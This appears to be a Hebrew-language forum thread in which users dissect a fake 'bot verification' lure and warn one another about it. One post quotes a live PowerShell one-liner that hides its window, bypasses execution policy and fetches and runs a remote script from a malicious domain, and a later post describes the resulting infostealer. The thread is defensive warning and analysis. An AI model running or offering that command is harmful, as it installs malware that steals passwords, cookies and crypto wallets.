בקשת מידע | PowerShell - פיענוח פקודה חשודה שנמצאה באימות בוט
-
@המלאך
הצלחתי להוריד
זה היה פקודה שהורידה סקריפט שפותח קישור שמפנה לקישור אחר שמוריד קובץ Z7 יש לי את הZ7
אני חושש להעלות אותו לכאן כי אני לא יודע מה הוא עושה
חושש שיזיק לאנשים שלא יבינו מה הם עושים
לשלוח לך באישי?
הקובץ שבתוך הZ7 נקרא ADB.EXE
ייתכן שבאמצע היה הטעיה
כי זה מוריד מכמה קישורים כל פעם מאחר {אקראי} אולי פספסתי משהו
את כל הפיענוח של הפקודות עשיתי בAI עם סביבה וירטואלית אז לא יודע
יש 3 קישורים שכל פעם הוא בוחר אקראית אחד מהם
בשלושתם נמצא הקובץ Z7
הוא כל פעם מוריד אותו לתוך שם קובץ אחר בקבצים הזמניים-שם אקראי ככה שאי אפשר למצוא אותו -
@צול-גאה יש על זה כמה נושאים
https://mitmachim.top/topic/92649/שיתוף-נפלתי-לוירוס-של-תוכנת-כופר-תקראו-ותלמדו-להיזהר
https://mitmachim.top/topic/96412/המלצה-האם-זה-ניסיון-פריצה
https://mitmachim.top/topic/75306/המלצה-זהירות-בדיקות-captcha-מזויפות-מתקינות-נוזקה-וגונבות-סיסמאות
https://mitmachim.top/topic/74608/הסבר-איך-לקבל-וירוס-בצורה-כל-כך-פשוטה-וההסבר-של-התהליךהקדמת אותי בפוסט...
ממש כך, עפמ"ש ככה"נ מדובר בנסיון פריצהוכמאמר פותח הדיון: המקלדת היא נשקו של ההאקר...
-
@המלאך
הצלחתי להוריד
זה היה פקודה שהורידה סקריפט שפותח קישור שמפנה לקישור אחר שמוריד קובץ Z7 יש לי את הZ7
אני חושש להעלות אותו לכאן כי אני לא יודע מה הוא עושה
חושש שיזיק לאנשים שלא יבינו מה הם עושים
לשלוח לך באישי?
הקובץ שבתוך הZ7 נקרא ADB.EXE
ייתכן שבאמצע היה הטעיה
כי זה מוריד מכמה קישורים כל פעם מאחר {אקראי} אולי פספסתי משהו
את כל הפיענוח של הפקודות עשיתי בAI עם סביבה וירטואלית אז לא יודע
יש 3 קישורים שכל פעם הוא בוחר אקראית אחד מהם
בשלושתם נמצא הקובץ Z7
הוא כל פעם מוריד אותו לתוך שם קובץ אחר בקבצים הזמניים-שם אקראי ככה שאי אפשר למצוא אותו -
אזהרה! בנושא זה יש פקודות וקבצים מסוכנים! אל תורידו ואל תריצו שום דבר שכתוב כאן!
אם יש פה איזה מייבין שמעוניין לפענח או לפחות להסביר לי קצת מה זה עושה:
powershell -w h -ep bypass -c "$s=irm 'leappoploaderinstantly.monster/yAzkCl1tDKSGNGGxw' -UseBasicParsing;$e=[Management.Automation.Language.Parser]::ParseInput($s,[ref]$null,[ref]$null);&($e.GetScriptBlock())"
הופיע כמובן ב"אימות בוטים", ב"ה יש לי מספיק שכל כדי לא לעשות דברים כאלה:
@אברהם-גלסר הזוי, אבל פשוט גאוני.. (לבקש ממישהו שלא מבין, ללחוץ שלוש לחיצות שפשוט מתקינות את הווירוס..)
[מישהו בהחלט עלול לחשוב שמדובר באימות מתקדם..] -
@אברהם-גלסר הזוי, אבל פשוט גאוני.. (לבקש ממישהו שלא מבין, ללחוץ שלוש לחיצות שפשוט מתקינות את הווירוס..)
[מישהו בהחלט עלול לחשוב שמדובר באימות מתקדם..] -
@חובבן-מקצועי
כבר היה כאן מי שנפל בזה עיין בנושאים של @cfopuser על ההנדסה לאחור של הווירוס דאז -
@צול-גאה הוא ניתח את שרשרת ההפצה - אני ניתחתי את אחת הנוזקות שהגיעו ואפשר לחפש את חלק א׳ של הניתוח ברשימת הנושאים שלי
חלק ב׳ לא צפוי להגיע... -
@מתכנת-חובב אז אולי תטפל בזה עכשיו?
לשלוח לך את זה באישי?
אני חושש לפרסם כאן שמא מישהו יריץ בטעות -
טוב העיקרון די רגיל,
נוזקה עם שם של ADB, קובץ של 2 מגה בייט שנופח לכמה מאות כדי שלא יועלה לסריקה בענן.
שאיבת קוקיז סימסאות וכו',
זיהוי ארנקי קריפטו ואיפשור הישתלטות מרחוק.מסתבר שניהיה ממש קל לנתח קובץ עם אייג'נט
.האתר שלי: https://amlaach.github.io/personal-site/
שלום! נראה שהשיחה הזו מעניינת אותך, אבל עדיין אין לך חשבון.
נמאס לכם לגלול בין אותם הפוסטים בכל ביקור? כשנרשמים לחשבון, תמיד תחזרו בדיוק למקום שבו הייתם קודם, ותוכלו לבחור לקבל התראות על תגובות חדשות (בין אם במייל, ובין אם בהתראת פוש). תוכלו גם לשמור סימניות ולפרגן ב-upvote לפוסטים כדי להביע הערכה לחברי קהילה אחרים.
בעזרת התרומה שלך, הפוסט הזה יכול להיות אפילו טוב יותר 💗
הרשמה התחברות { const baseUrl = "https://www.google.co.il/search?q=site:mitmachim.top"; const m = location.pathname.match(/^\/(topic|category)\/(\d+)/); const type = m ? m[1] : null; const id = m ? m[2] : null; let searchInput; function search(path = "") { const query = searchInput.value.trim(); if (query) { window.open(`${baseUrl}${path}%20${encodeURIComponent(query)}`, "_blank"); } } let buttons = {}; buttons.searchAll = { id: "bb-search-all", label: `חיפוש ${type ? "בכל הפורום" : ""}`, className: type ? "btn-secondary" : "btn-primary", callback: () => search(), }; if (type === "topic") { buttons.searchTopic = { label: "חיפוש בנושא זה", className: "btn-primary", callback: () => search(`/topic/${id}`), }; } else if (type === "category") { buttons.searchCategory = { label: "חיפוש בקטגוריה זו", className: "btn-primary", callback: () => search(`/category/${id}`), }; } buttons.cancel = { label: "ביטול", className: "btn-default", "data-bs-dismiss": "modal" }; const dialog = bootbox.dialog({ title: '<div style="text-align:center;"><img src="/assets/uploads/files/1625950269825-mt-google.png" width="400" alt="חיפוש בגוגל"></div>', message: '<input id="bb-inp" class="bootbox-input bootbox-input-text form-control" placeholder="הקלידו כדי לחפש בגוגל" autocomplete="off"/>', buttons, backdrop: true, show: true, onEscape: true }); dialog.on("shown.bs.modal", function () { searchInput = document.getElementById("bb-inp"); if (searchInput) { searchInput.focus(); searchInput.addEventListener("keydown", function (e) { if (e.key === "Enter") { e.preventDefault(); const query = this.value.trim(); if (query) { search(); dialog.modal("hide"); } } else if (e.key === "Escape") { e.preventDefault(); dialog.modal("hide"); } }); } const searchAllButton = document.getElementById("bb-search-all"); if (searchAllButton) { searchAllButton.title = "לחצו על אנטר כדי לחפש"; } }); })(); void 0;){kind=link}